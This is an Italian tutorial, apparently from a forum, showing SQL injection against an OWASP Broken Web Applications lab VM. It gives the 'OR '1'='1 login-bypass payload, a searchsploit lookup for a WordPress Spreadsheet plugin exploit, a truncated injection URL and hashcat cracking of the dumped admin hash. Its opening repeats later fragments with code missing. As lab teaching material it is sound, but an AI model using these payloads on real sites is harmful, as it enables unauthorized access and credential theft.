Ultima modifica:
Oggi parliamo dell'attacco Hacker "SQL Injection" .
Abbiamo detto che l'input non è controllato, io posso mettere anche la mail "[email protected]" e non mi da errore, quindi l'hacker mette del codice SQL nel login, quest'ultimo verrà processato; mettiamo caso che il riconoscimento del login sia dettato da questo comando:
La stringa cerca il nome utente nel database e controlla se la password corrisponde, nel caso corrisponda da il via per il login.
Facciamo attenzione all'
La condizione diventa:
1 è sempre uguale a 1, quindi l'operatore
Vediamo come sferrare questo tipo di attacco, ci servirà:
Quella che serve a noi è questa: OWASP BWA
Per scaricare Virtual Box su Linux digitiamo nella shell:
Scarichiamola e importiamo il file .OVA in Virtual Box:
Le credenziali della VM sono:
Andiamo al sito http://192.168.1.19/wordpress/
Ovviamente voi dovrete mettere il vostro IP addr al posto del mio.
l'output sarà il path dell'exploit: /usr/share/exploitdb/exploits/php/webapps/5486.txt
Questo è il source code dell'Exploit:
Per portare a termine l'attacco incolliamo la stringa dopo
L'SQL Injection ha funzionato! A schermo sono stampate le credenziali, la password e criptata con un hash
Nel mio caso
L'hash è stato craccato, la password è
Ora possiamo loggarci dentro al sito come amministratori, provare per credere!
Possiamo cambiare password, nome, aggiungere/eliminare post, cambiare il tema del sito ecc ecc...
Crediti: Qua
1 L'attacco in pratica
L'SQL Injection sfrutta il mancato controllo dell'input da parte dell'utente, coinvolge database di login di un servizio web.Abbiamo detto che l'input non è controllato, io posso mettere anche la mail "[email protected]" e non mi da errore, quindi l'hacker mette del codice SQL nel login, quest'ultimo verrà processato; mettiamo caso che il riconoscimento del login sia dettato da questo comando:
SQL:
SELECT id FROM users WHERE username='$username' AND password='$password'
Facciamo attenzione all'
AND
, questo operatore risulta vero solo se entrambe le condizioni risultano vere, ora, nel login al posto del nickname e della password Inseriamo questa stringa in entrambi i campi:
SQL:
'OR '1' = '1
SQL:
SELECT id FROM users WHERE username='OR '1'='1' AND password='OR '1'='1'
AND
diventa True e il database ci restituisce il primo account registrato(di solito è l'account dell'admin).Vediamo come sferrare questo tipo di attacco, ci servirà:
- Kali Linux (o qualunque altra distro)
- Sito/VM vulnerabile all' SQLI
- Exploit
- Hashcat
2 VM BWA (Broken Web Application)
La OWASP (Open Web Application Security Project) mette a disposizione delle VM per fare dei test ecc ecc...Quella che serve a noi è questa: OWASP BWA
Per scaricare Virtual Box su Linux digitiamo nella shell:
Bash:
sudo apt install virtualbox virtualbox-ext-pack -y
Le credenziali della VM sono:
- USER: root
- PASSWORD: owaspbwa
ifconfig
nella shell:
Bash:
eth0: inet addr:192.168.1.19
Ovviamente voi dovrete mettere il vostro IP addr al posto del mio.
3 Exploit
Trovata una vulnerabilità serve un exploit, andiamo nella shell e scriviamo:
Bash:
searchsploit Wordpress Plugin Spreadsheet 0.6 - SQL Injection
Questo è il source code dell'Exploit:
Per portare a termine l'attacco incolliamo la stringa dopo
example
, col IP della VM al posto disite.com
, su Firefox, nel nostro caso:
PHP:
http://192.168.1.19/wordpress/wpSS/ss_load.php?ss_id=!+and...
MD5
.- User: admin
- password: hash MD5
- email: [email protected]
4 Hashcat
Tramite Hashcat ora facciamo la decodifica dell'hash, cracchermo un hash di tipoMD5
, servirà un file contenente l'hash, e una wordlist;Nel mio caso
SQL.hash.txt
è il file con l'hash e SQL.txt
è la wordlist.
Bash:
hashcat -m 0 SQLhash.txt ./SQL.txt
L'hash è stato craccato, la password è
admin
Ora possiamo loggarci dentro al sito come amministratori, provare per credere!
Possiamo cambiare password, nome, aggiungere/eliminare post, cambiare il tema del sito ecc ecc...
Crediti: Qua